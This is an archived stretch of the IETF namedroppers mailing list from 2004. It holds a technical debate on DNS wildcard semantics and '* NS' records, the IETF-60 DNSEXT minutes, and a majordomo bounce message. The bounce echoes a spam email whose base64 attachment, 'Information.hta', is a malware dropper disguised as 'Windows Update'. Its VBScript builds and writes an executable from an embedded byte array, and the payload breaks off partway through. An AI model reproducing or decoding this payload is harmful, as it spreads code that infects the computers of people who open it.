| run the risk of problems elsewhere. Of course not, we can go around redefining the world however we see fit. We could declare the label "www" illegal if we wanted to. Of course, when we start moving things that have previously been perfectly valid into being illegal, we have to allow for the possibility that people have been using them, quite legitimately, for almost any reason at all (either on the internet, or elsewhere). There has to be a very good reason to make a change like that, and here there is no reason at all. | That's not entirely clear to me. For the moment, let's assume | there's no barring of *.*.example.com. | | Let's say we have there records (assuming IN class all the way): | | example.com SOA | *.example.com A 1.1.1.1 | *.*.example.com A 2.2.2.2 | a.*.example.com A 3.3.3.3 | | Query for (*.example.com A) -> 1.1.1.1 is the return, exact match Queries that have '*' labels were my third case. While perfectly valid, they're unusual, and not what almost anyone is thinking of when we're talking about wildcards (as the '*' in the zone that matches the '*' in the query isn't wildcard at all). | Query for (a.example.com A) -> 1.1.1.1 with closest encloser example.com | Query for (a.*.example.com A) -> 3.3.3.3 exact match, I think. | Query for (b.*.example.com A) -> 2.2.2.2 with closest encloser *.example.com | Query for (b.a.example.com A) -> 1.1.1.1 with closest encloser example.com yes, I agree with all of those. Those ones aren't even doubtful, they're all obvious. The query you need to explain carefully is a.b.example.com. | IOW - *.*.example.com creates a shadow between *.example.com and any | subdomain of that name. Sorry. I have no idea what that means. | Okay, RFC1034 forbids ("discourages") *.*.example.com. Where is that? | Let's strike it from the example. | | example.com SOA | *.example.com A 1.1.1.1 | a.*.example.com A 3.3.3.3 | | Query for (*.example.com A) -> no change from before | Query for (a.example.com A) -> ditto | Query for (a.*.example.com A) -> ditto | Query for (b.*.example.com A) -> NXDOMAIN | Query for (b.a.example.com A) -> no change from before | | There's a change for queries in the shadow of *.example.com - they | become NXDOMAIN if not listed in the zone file. This isn't anything different from any other domain - if a name exists, then a wildcard sibling doesn't apply to any of its sub-domains. What is supposed to be different here? | So - I wouldn't say they are "meaningless." The "meaningless" was in the context of my second case, which was assuming (though perhaps I didn't make this as clear as I should) "normal" queries - the same kind we see every day, with no '*' labels in the name being sought. In that context, these sub-domains of '*' labels are completely meaningless (or perhaps irrelevant is a better word). | Yeah. Maybe I misunderstood the previous "in this message" comment. I wrote the message sequentially, it was correct when I put in that phrase, it may not have remained correct by the time I finished... | In my world, a.*.example.com wouldn't match a.x.example.com, | *.example.com is the match. Yes, absolutely. | Maybe there's the conundrum. In this instance I have an answer for a | name that does not block wild card matching. "x.example.com" returns | data (A) but does not stand in the way of b.x.example.com and | *.example.com. Without DNSSEC, this could be terribly confusing to | the astute resolver. I see nothing confusing at all. Resolvers know nothing of wildcards. When a resolver gets an answer (without dnssec, which does make life more difficult here, but in unavoidable ways I believe) the resolver simply assumes that any answer it gets is an explicit RR in the zone, and any answer it doesn't get (packet transport problems ignored) doesn't exist. No astuteness, or even anything beyond feeble mindedness required at all for this. | My interest in this topic is more than academic (not that you are | insinuating I'm being academic). When I sat in on MARID in May, they | wanted to be able to have a record like: _marid.*.example.com. Yes, that's absurd. Making it clear that cannot work (the way they're imagining) is certainly what this draft should do. But to accomplish that we don't have to, and should not be, making any domain names become illegal. We just need to clarify how the lookup algorithm works (and in the case of CNAME, perhaps, change it, which is really a side issue here). | The options are to stand aside and let this be, No, no matter what we do, the planned interpretation does not, and cannot, ever work. That would take a major redefinition of the DNS lookup algorithms to accomplish, plus deployment of modified servers all over the place. Not likely. | create the notion of | an illegal name, or to muffle the synthesis rules if *.<anydomain> | has a (non-empty) subdomain itself. No, nothing needs changing at all - merely a more explicit statement of the current wildcard lookup procedures. Certainly people don't understand this stuff as well as perhaps they should (and since in general most of us just try to discourage wildcard use in all cases, rather than explain it, that may be understandable). If the method was well understood, no-one would be even suggesting that silly technique. | That's what I've been saying about wild cards for some time. "They | aren't confusing, they're just misunderstood." Yes. So let's fix the problem, not redefine it into something else and then fix that. Let's just clarify how the things work, and (with the possible exception of the way CNAME works), change nothing at all. | The effort is to get everyone to interoperate on this. We want to | stomp on corner cases that have gone haywire. If not for just | academic purity, but to be able to explain to groups like the MARID | WG why "_marid.*.example.com" doesn't behave as they think it does. Sure, we need to do that. But doing that isn't going to fix whatever broken implementations currently exist. What this means is that in practice, however well these odd cases are supposed to be defined, it isn't possible to rely upon them doing what they should. Fortunately, apart from that _marid.*.whatever nonsense, no-one in practice ever attempts to do this kind of thing (and that attempt is simply doomed to fail, even if we were to do nothing - it just may take longer for the authors of that draft to realise it). kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: wild cards Date: Thu, 2 Sep 2004 16:13:39 -0400 Lines: 58 Sender: owner-namedroppers@ops.ietf.org References: <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:20:00 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <22959.1094153870@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 2:37 +0700 9/3/04, Robert Elz wrote: >We could declare the label "www" illegal if we wanted to. Of course, >when we start moving things that have previously been perfectly valid >into being illegal, we have to allow for the possibility that people >have been using them, quite legitimately, for almost any reason at all >(either on the internet, or elsewhere). We moved IQUERY to historic. >I wrote the message sequentially, it was correct when I put in that >phrase, it may not have remained correct by the time I finished... Then I think I've wasted a lot of bit's on this. > | My interest in this topic is more than academic (not that you are > | insinuating I'm being academic). When I sat in on MARID in May, they > | wanted to be able to have a record like: _marid.*.example.com. > >Yes, that's absurd. Making it clear that cannot work (the way they're >imagining) is certainly what this draft should do. > >But to accomplish that we don't have to, and should not be, making >any domain names become illegal. We just need to clarify how the >lookup algorithm works (and in the case of CNAME, perhaps, change it, >which is really a side issue here). From what I've heard, the WG disagrees with this line of reasoning. Just because something is legal doesn't mean it has to remain legal. > | The options are to stand aside and let this be, > >No, no matter what we do, the planned interpretation does not, and >cannot, ever work. That would take a major redefinition of the DNS >lookup algorithms to accomplish, plus deployment of modified servers >all over the place. Not likely. I don't see restricting the names having anything to do with the resolver side. In addition (in answer to something I dropped) RFC 1034, 4.3.3. already says: <anydomain> should not contain other * labels... which is a name restriction already. It seems to me that there was an intent to restrict names involving wild cards. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: =?iso-8859-1?Q?=D3lafur?= Gudmundsson/DNSEXT co-chair <ogud+dnsext@ogud.com> Subject: IETF-60 DNSEXT minutes Date: Thu, 02 Sep 2004 15:27:51 -0400 Lines: 136 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Cc: proceedings@ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:20:28 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 6.1.0.6 To: namedroppers@ops.ietf.org X-Scanned-By: MIMEDefang 2.44 Precedence: bulk [ Moderators note: Post was moderated, either because it was posted by a non-subscriber, or because it was over 20K. With the massive amount of spam, it is easy to miss and therefore delete relevant posts by non-subsrcibers. Please fix your subscription addresses. ] DNSEXT meeting August 2 Scribe: David Blacka Jabber Scribe: George Michaelson Olafur Gudmundsson presented information on one various implementations of DNSSEC. There are number of projects going on in each of the major DNSSEC functional area's. There was a question to the meeting about the weather standardization in all APIs is an item of interest to working group. The sense of the room was that this would be a good thing to do. The chairs are to find people to start work on draft that documents what information is needed to pass to applications, from this specification an API can be formulated. DNSSEC key management or trust anchor maintenance: There were three presentations on approaches to maintain DNSSEC trust anchors. Mike St. John's presented his scheme using a revoke bit and timers. Johan Ihren presented his scheme is using n-of-m keys. Paul Vixie presented the DLV interim scheme available in bind-9.3. The sense of the room was that this its on important them for the working group to work on. The chairs are instructed to coordinate with related working groups (DNSOP) and security area AD's own how to approach this area. All presenters and others are invited to submit drafts for consideration as working group documents. Zone enumeration discussion: During the working group last call for DNSSEC this issue was raised as a barrier to entry for a number of TLD's. The working group commissioned two studies on this issue: Zone enumeration prevention requirements NSEC++ transition approaches and impact on protocol both of these reports where presented based on the current status off the work items. In addition two different proposals for NSEC replacement where presented. There a was extensive discussion on the different approaches and the need for even addressing this issue. At the meeting it was pointed out that there are both issues for large delegation zones as possibly for small enterprise zones and these may differ both in requirements and solution space. The sense off the room was that none of the proposals is fully baked and we can not do an engineering trade-off yet as the requirements are not known at this point. The working group will actively work on it requirements document before any protocol work is done. End off first meeting. After discussing with security area directors our new potential work item, the working group has two security advisers available: Russ Housley on key management and Hillary Orman on key strength issues and on-line signing. Second meeting Thursday August 5. Note taker: Peter Koch Jabber Scribe: George Michaelson Jakob Schlyter presented the results of his interoperabilty testing of RFC3597 (unknown RR types support). In his tests few bugs where found in implementations but no issues with the document. Jakob recommends advancement to Draft Standard based on the results. There are RR types with intra RR versioning (e.g. LOC), those have not been tested specifically. At this stage Olafur urges the WG members to volunteer for additional interop tests for the WG to be able to advance more documents to Draft. Jakob is asked to give an estimate of the effort needed for a test coordination "most of the work was getting the implementors to participate rest took 3 or 4 days". Donald Eastlake presented two documents for considerations for adoption by the working group: TSIG-SHA1 and ECC-KEYs. As there are lingering doubts about the long term viability of MD5 it is prudent to consider adding a stronger hash such as SHA1. ECC keys are shorter than RSA/DSA keys for same strength, basic technology is unencumbered, but lots of patents/patent claims wrt to implementation techniques. The working group will consider adopting both drafts as working group items. Rob Austein presented a straw man proposal for identification of nameserver answering a query. There is need for a mechanism for identifying DNS servers in an anycast set and the current approach (id.server, hostname.bind), which has a problem as it needs a separate query. The draft proposes the use of EDNS to ask server for an id to be attached to the response. Since this is a (proposed) protocol change, the doc is discussed here while earlier documents reside in DNSOP. There was lively discussion about various aspects of this issue, what to put in the identification string, how fine grain the identifier should be server/server+addr/view etc. The sense of the room was that this is of critical importance, but we need requirements first. DNSOP is working on these, please follow and contribute there. The chairs then presented their status of each of the current working group documents, majority of which are at IESG or in the last stages to advance there. In open mike session Roy Arends presented his and Jakob Schlyter's work on fingerprinting implementations. Noteworthy observations include a firewall product which answers queries with EDNS on with an IN-ADDR.ARPA query, enabling external queriers to detect the presence of this particular IDS systems. Another problem present in several implementations (vendors have been approached) is vulnerability against "DNS ping pong", i.e. systems answering unsolicited responses with another response Miek Gieben gave input to the recent enumeration discussion. He performed a dictionary attack (using john the ripper) on the NL zone. After 18 hours he was able to find 10% (135.000) of the 1.x million domain names. Meeting concluded, the chairs want to thank the note takers for excellent notes. Olafur + Olaf. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: more wild cards Date: Fri, 03 Sep 2004 03:17:59 +0700 Lines: 171 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:23:38 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd5ce15f1169@[192.168.1.100]> Precedence: bulk Date: Thu, 2 Sep 2004 11:08:25 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020407bd5ce15f1169@[192.168.1.100]> | We restrict names that have CNAME to be exclusively that ('cept for | DNSSEC records) and then just one CNAME RR. We restrict some name | to have just 1 SOA RR. Sorry, how is this in any way relevant. There are lots of various restrictions in the DNS as it was originally defined, that's fine. There never were any restrictions on the values of the octets in any name labels however - none at all for any uses at all - and there's no reason at all to start adding any. | There's nothing in the current specifications that prevent "* NS" | now. No, of course there isn't, and nor is there any reason for there to be. | The WG seems to be moving towards formalizing the prevention. No, the WG is (seems to be) confused. What the WG wants to prevent is a '* NS' meaning "all domain names, other than those explicitly in the zone, are delegated to ..." But there's no need to do that, that usage of '* NS' is already absent. That is, while there's no text in 1034 that explicitly says this doesn't work in quite those explicit terms, there is absolutely nothing in the lookup algorithm which could conceivably allow it to work. The only way a '* NS' RR will ever be used is when someone is either a) doing an explicit lookup for a qname that includes a '*' label at the appropriate point to match (in which case there is no wildcard at all, just yet another 1 octet label, the '*' is no different at all to an 'x' or a ':' (or for that matter, even a '.'). b) doing a query of type NS for a name that isn't in the zone. Then the '*' will match as a wildcard. This is harmless. | Looking at the discussion - I see a swell of support for formally | banning the holding of NS and SOA at the * label. I don't. What I saw was a swell of support for not making dynamic zone creation work by the addition of some wildcard magic. That's something different - to do it would actually require changes to the lookup algorithms (something like is being proposed for CNAME, but of a more radical nature). I know that there are people who believe that a '* NS' record somehow might be a wildcard delegation - but they're simply mistaken. There is no such thing in the DNS as it exists, and we don't need to change anything to prevent that interpretation. Making '* NS' illegal would simply be making one special case name that can own any other record type, but cannot be delegated, unlike every other name that ever might exist. | As much as I can | rationalize, leaving them legal does no harm in the sense that the | protocol isn't harmed. But making them illegal makes a silly special case, for which there is no justification. | But, by leaving them legal we open up the | documents to widely speculative interpretations (such as what | happened in MARID regarding internal wild cards) Yes, we need to make it clear how the things work. That's why we need this clarifications doc. We don't need to change anything to explain it. | and we create gray areas and corner cases. No, there are no grey areas, and no corner cases here, everything is simple. It is just confusing as people keep treating the '*' in a DNS zone (or domain name) as if it were a '*' (or perhaps .*) in a regular expression (or perhaps closer, a '*' in a glob pattern). We just need to make it clear that it is nothing like any of that. There is no pattern matching going on here at all. | Exactly what I've discovered in my research. And, because of your | last line, I think the WG wants to see the ban on * SOA and *NS in | place. To make it clear to newcomers to "don't go there." But that's the wrong method. This is just as crazy as the earlier attempts to restrict domain names to the old hosts.txt syntax. We don't have to do anything like that. We just need to explain how it works - clearly - and with examples. | Look at what we did for the DS RR set. We changed the data lookup | algorithm to make the answer come from the parent. Yes, that's OK, that kind of thing is possible - changes can be made when there's a very good reason, and when you can be confident that nothing is going to break because of the change - which might not be as difficult when you're doing something completely new. | Here, we can say "the answer to a * NS query is noerror/nodata." We | can most easily enforce this by refusing to allow "*NS" into the | server. That's better than putting in other road blocks. But we don't need to do a thing. That's what I am trying to make clear. The spec as it is already provides all the right answers in this area. The only problem is that almost no-one reads the spec, rather they just jump to conclusions. That isn't a good reason for making changes. | Let's say we discover that there's a use for "* NS". There already is. It is used to delegate the '*' sub-domain. What else could it possibly mean? | I really think that when it comes to securing critical infrastructure | like DNS, we want to clamp down on it's looseness with out making it | brittle. There is nothing loose here, it is already precisely defined. As we agreed earlier, the only problem is how people misinterpret it, not how things are specified. When that's the problem, the answer is to correct the interpretation, not to change the spec. | I do share the concern that laying down "rules" is dangerous for | future growth. Here I think you're (and here I really mean the singular "you" - ye??) still imagining that there can somehow be some way of wildcard auto zone generation/delegation, not now perhaps, but sometime in the future. There cannot be - or not without a major redesign of the DNS lookup algorithms (if that were ever to be attempted, it might possibly not even be '*' that's used as the magic token for this purpose). | But, the case is being made that we want the DNS to be much more clear, | understandable to folks that coming to the table later in the | development of the Internet. Yes, absolutely, and this part I agree with. But the way to make things clear isn't to introduce more special case rules. It is to simply explain things better, so they can be understood properly. | When I talked to MARID in May, at their interim meeting, they did not | want an engineering discussion of DNS, they wanted "can/can't". Sure, and the answer is "can't". If they don't want the explanation, that's OK, provided they're prepared to accept the answer. If they're not prepared to simply accept a yes/no answer because it isn't the answer they hoped for, then they have to start to understand the mechanism. If they refuse that, they're idiots, and we just ignore them, what they're doing won't work, can't work, and why should we care? It is kind of like if I ask my mechanic "can my car do 200 kph in reverse?" (S)he says "no". If I'm prepared to simply accept that answer, fine. On the other hand, if I start to argue that the car does 200 kph in the forward direction, so the engine can clearly manage that speed, so it must also be able to do 200 kph in reverse, and I refuse to have anything about gear ratios or whatever explained to me, then what should be done? Limit the max forward speed to what can be obtained in reverse by fiat? Because that's exactly what is being proposed here for the DNS. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: majordomo@psg.com Subject: Majordomo results: Re: Hello Date: Thu, 02 Sep 2004 19:54:29 +0000 Lines: 2958 Sender: owner-namedroppers@ops.ietf.org Reply-To: majordomo@psg.com X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:30:48 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Scanned-By: MIMEDefang 2.44 Precedence: bulk [ Moderators note: Post was moderated, either because it was posted by a non-subscriber, or because it was over 20K. With the massive amount of spam, it is easy to miss and therefore delete relevant posts by non-subsrcibers. Please fix your subscription addresses. ] -- >>>> ----------jbwyugkgucjrrnylblnz **** Command '----------jbwyugkgucjrrnylblnz' not recognized. >>>> Content-Type: text/html; charset="us-ascii" **** Command 'content-type:' not recognized. >>>> Content-Transfer-Encoding: 7bit **** Command 'content-transfer-encoding:' not recognized. >>>> >>>> <html><body> **** Command '<html><body>' not recognized. >>>> >>>> >>>> <br> **** Command '<br>' not recognized. >>>> </body></html> **** Command '</body></html>' not recognized. >>>> >>>> ----------jbwyugkgucjrrnylblnz **** Command '----------jbwyugkgucjrrnylblnz' not recognized. >>>> Content-Type: application/octet-stream; name="Information.hta" **** Command 'content-type:' not recognized. >>>> Content-Transfer-Encoding: base64 **** Command 'content-transfer-encoding:' not recognized. >>>> Content-Disposition: attachment; filename="Information.hta" **** Command 'content-disposition:' not recognized. >>>> >>>> PEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5XaW5kb3dzIFVwZGF0ZTwvVElUTEU+DQo8SFRBOkFQ **** Command 'pehutuw+dqo8sevbrd4ncjxusvrmrt5xaw5kb3dzifvwzgf0ztwvveluteu+dqo8sfrbokfq' not recognized. >>>> UExJQ0FUSU9OIElEPSJRIiBBUFBMSUNBVElPTk5BTUU9IlEiIEJPUkRFUj0ibm9uZSIgQk9S **** Command 'uexjq0fusu9oielepsjriibbufbmsunbvelptk5btuu9ileiiejpukrfuj0ibm9uzsigqk9s' not recognized. >>>> REVSU1RZTEU9Im5vcm1hbCIgQ0FQVElPTj0ibm8iIElDT049IiIgQ09OVEVYVE1FTlU9Im5v **** Command 'revsu1rzteu9im5vcm1hbcigq0fqvelptj0ibm8iieldt049iiigq09ovevyve1ftlu9im5v' not recognized. >>>> IiBNQVhJTUlaRUJVVFRPTj0ibm8iIE1JTklNSVpFQlVUVE9OPSJubyIgU0hPV0lOVEFTS0JB **** Command 'iibnqvhjtularujvvfrptj0ibm8iie1jtklnsvpfqlvuve9opsjubyigu0hpv0lovefts0jb' not recognized. >>>> Uj0ibm8iIFNJTkdMRUlOU1RBTkNFPSJubyIgU1lTTUVOVT0ibm8iIFZFUlNJT049IjEuMCIg **** Command 'uj0ibm8iifnjtkdmrulou1rbtknfpsjubyigu1lttuvovt0ibm8iifzfulnjt049ijeumcig' not recognized. >>>> V0lORE9XU1RBVEU9Im1pbmltaXplIi8+DQo8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+ **** Command 'v0lore9xu1rbveu9im1pbmltaxplii8+dqo8u0nssvbuiexbtkdvqudfpsjwqlnjcmlwdci+' not recognized. >>>> DQpNeUZpbGUgPSAicWZsLnZicyINClNldCBGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGlu **** Command 'dqpneuzpbgugpsaicwzslnzicyinclnldcbgu08gpsbdcmvhdgvpymply3qoilnjcmlwdglu' not recognized. >>>> Zy5GaWxlU3lzdGVtT2JqZWN0IikNClNldCBUU08gPSBGU08uQ3JlYXRlVGV4dEZpbGUoTXlG **** Command 'zy5gawxlu3lzdgvtt2jqzwn0iiknclnldcbuu08gpsbgu08uq3jlyxrlvgv4dezpbguotxlg' not recognized. >>>> aWxlLCBUcnVlKQ0KVFNPLndyaXRlICJkaW0gZmlsZXN5cywgZmlsZXR4dCwgZ2V0bmFtZSwg **** Command 'awxllcbucnvlkq0kvfnplndyaxrlicjkaw0gzmlszxn5cywgzmlszxr4dcwgz2v0bmftzswg' not recognized. >>>> cGF0aCwgdGV4dGZpbGUsIGkiICYgdmJjcmxmDQpUU08ud3JpdGUgInRleHRmaWxlID0gIiJx **** Command 'cgf0acwgdgv4dgzpbgusigkiicygdmjjcmxmdqpuu08ud3jpdguginrlehrmawxlid0giijx' not recognized. >>>> d3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJTZXQgZmlsZXN5cyA9IENyZWF0ZU9i **** Command 'd3jrlmv4zsiiiiamihziy3jszg0kvfnplndyaxrlicjtzxqgzmlszxn5cya9ienyzwf0zu9i' not recognized. >>>> amVjdCgiIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IiIpIiAmIHZiY3JsZg0KVFNPLndy **** Command 'amvjdcgiilnjcmlwdgluzy5gawxlu3lzdgvtt2jqzwn0iiipiiamihziy3jszg0kvfnplndy' not recognized. >>>> aXRlICJTZXQgZmlsZXR4dCA9IGZpbGVzeXMuQ3JlYXRlVGV4dEZpbGUodGV4dGZpbGUsIFRy **** Command 'axrlicjtzxqgzmlszxr4dca9igzpbgvzexmuq3jlyxrlvgv4dezpbguodgv4dgzpbgusifry' not recognized. >>>> dWUpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJnZXRuYW1lID0gZmlsZXN5cy5HZXRGaWxlTmFt **** Command 'dwupiiamihziy3jszg0kvfnplndyaxrlicjnzxruyw1lid0gzmlszxn5cy5hzxrgawxltmft' not recognized. >>>> ZShwYXRoKSIgJiB2YmNybGYNClRTTy53cml0ZSAiZGltIGEiICYgdmJjcmxmDQpUU08ud3Jp **** Command 'zshwyxroksigjib2ymnybgynclrtty53cml0zsaizgltigeiicygdmjjcmxmdqpuu08ud3jp' not recognized. >>>> dGUgImE9QXJyYXkoNzcsOTAsMCwwLDEsMCwwLDAsMiwwLDAsMCwyNTUsMjU1LDAsMCw2NCww **** Command 'dgugime9qxjyyxkonzcsotasmcwwldesmcwwldasmiwwldasmcwyntusmju1ldasmcw2ncww' not recognized. >>>> LDAsMCwwLDAsMCwwLDY0LDAsMCwwLDAsMCwwLDAsMTgwLDc2LDIwNSwzMywwLDAsMCwwLDAs **** Command 'ldasmcwwldasmcwwldy0ldasmcwwldasmcwwldasmtgwldc2ldiwnswzmywwldasmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNDQsMCwwLDAsMTY5LDM4 **** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwxndqsmcwwldasmty5ldm4' not recognized. >>>> LDIyMSwxOSwyMzcsNzEsMTc5LDY0LDIzNyw3MSwxNzksNjQsMjM3LDcxLDE3OSw2NCwyMzcs **** Command 'ldiymswxoswymzcsnzesmtc5ldy0ldiznyw3mswxnzksnjqsmjm3ldcxlde3osw2ncwymzcs' not recognized. >>>> NzEsMTc5LDY0LDIzOCw3MSwxNzksNjQsOTksODgsMTYwLDY0LDEwOSw3MSwxNzksNjQsMTcs **** Command 'nzesmtc5ldy0ldizocw3mswxnzksnjqsotksodgsmtywldy0ldewosw3mswxnzksnjqsmtcs' not recognized. >>>> MTAzLDE2MSw2NCwyMzYsNzEsMTc5LDY0LDQyLDY1LDE4MSw2NCwyMzYsNzEsMTc5LDY0LDgy **** Command 'mtazlde2msw2ncwymzysnzesmtc5ldy0ldqyldy1lde4msw2ncwymzysnzesmtc5ldy0ldgy' not recognized. >>>> LDEwNSw5OSwxMDQsMjM3LDcxLDE3OSw2NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs **** Command 'ldewnsw5oswxmdqsmjm3ldcxlde3osw2ncwwldasmcwwldasmcwwldasmcwwldasmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCw4MCw2OSwwLDAsNzYsMSwzLDAsMjA0LDE1LDE0NCw2NCww **** Command 'mcwwldasmcwwldasmcwwldasmcw4mcw2oswwldasnzysmswzldasmja0lde1lde0ncw2ncww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMjI0LDAsMTUsMSwxMSwxLDUsMTIsMCw4MCwwLDAsMCwxNiwwLDAs **** Command 'ldasmcwwldasmcwwldasmji0ldasmtusmswxmswxldusmtismcw4mcwwldasmcwxniwwldas' not recognized. >>>> MCwxNDQsMCwwLDI0MCwyMjYsMCwwLDAsMTYwLDAsMCwwLDI0MCwwLDAsMCwwLDY0LDAsMCwx **** Command 'mcwxndqsmcwwldi0mcwymjysmcwwldasmtywldasmcwwldi0mcwwldasmcwwldy0ldasmcwx' not recognized. >>>> NiwwLDAsMCwyLDAsMCw0LDAsMCwwLDAsMCwwLDAsNCwwLDAsMCwwLDAsMCwwLDAsMCwxLDAs **** Command 'niwwldasmcwyldasmcw0ldasmcwwldasmcwwldasncwwldasmcwwldasmcwwldasmcwxldas' not recognized. >>>> MCwxNiwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwxNiwwLDAsMTYsMCwwLDAsMCwxNiwwLDAs **** Command 'mcwxniwwldasmcwwldasmcwyldasmcwwldasmcwxniwwldasmtysmcwwldasmcwxniwwldas' not recognized. >>>> MTYsMCwwLDAsMCwwLDAsMTYsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE2NCwyNDMsMCwwLDc2 **** Command 'mtysmcwwldasmcwwldasmtysmcwwldasmcwwldasmcwwldasmcwwlde2ncwyndmsmcwwldc2' not recognized. >>>> LDIsMCwwLDAsMjQwLDAsMCwxNjQsMywwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldismcwwldasmjqwldasmcwxnjqsmywwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDg1LDgwLDg4LDQ4LDAsMCwwLDAsMCwxNDQsMCwwLDAsMTYs **** Command 'ldasmcwwldasmcwwldasmcwwldg1ldgwldg4ldq4ldasmcwwldasmcwxndqsmcwwldasmtys' not recognized. >>>> MCwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxMjgsMCwwLDIy **** Command 'mcwwldasmcwwldasmcwyldasmcwwldasmcwwldasmcwwldasmcwwldasmcwxmjgsmcwwldiy' not recognized. >>>> NCw4NSw4MCw4OCw0OSwwLDAsMCwwLDAsODAsMCwwLDAsMTYwLDAsMCwwLDcwLDAsMCwwLDIs **** Command 'ncw4nsw4mcw4ocw0oswwldasmcwwldasodasmcwwldasmtywldasmcwwldcwldasmcwwldis' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwyMjQsNDYsMTE0LDExNSwxMTQs **** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwwldy0ldasmcwymjqsndysmte0ldexnswxmtqs' not recognized. >>>> OTksMCwwLDAsMCwxNiwwLDAsMCwyNDAsMCwwLDAsNiwwLDAsMCw3MiwwLDAsMCwwLDAsMCww **** Command 'otksmcwwldasmcwxniwwldasmcwyndasmcwwldasniwwldasmcw3miwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsNjQsMCwwLDE5Miw0OSw0Niw1MCw1MiwwLDg1LDgwLDg4LDMzLDEy **** Command 'ldasmcwwldasmcwwldasnjqsmcwwlde5miw0osw0niw1mcw1miwwldg1ldgwldg4ldmzldey' not recognized. >>>> LDksMiw4LDE5MSwzOSw2MSw5NSwyMTgsMjA4LDExMSwxNTgsMTk5LDE5OSwwLDAsMjAxLDY2 **** Command 'ldksmiw4lde5mswzosw2msw5nswymtgsmja4ldexmswxntgsmtk5lde5oswwldasmjaxldy2' not recognized. >>>> LDAsMCwwLDE0NiwwLDAsMzgsMCwwLDIwNCwyNTUsMjU1LDI1NSwxNTUsMjUwLDIwMSw1OCwx **** Command 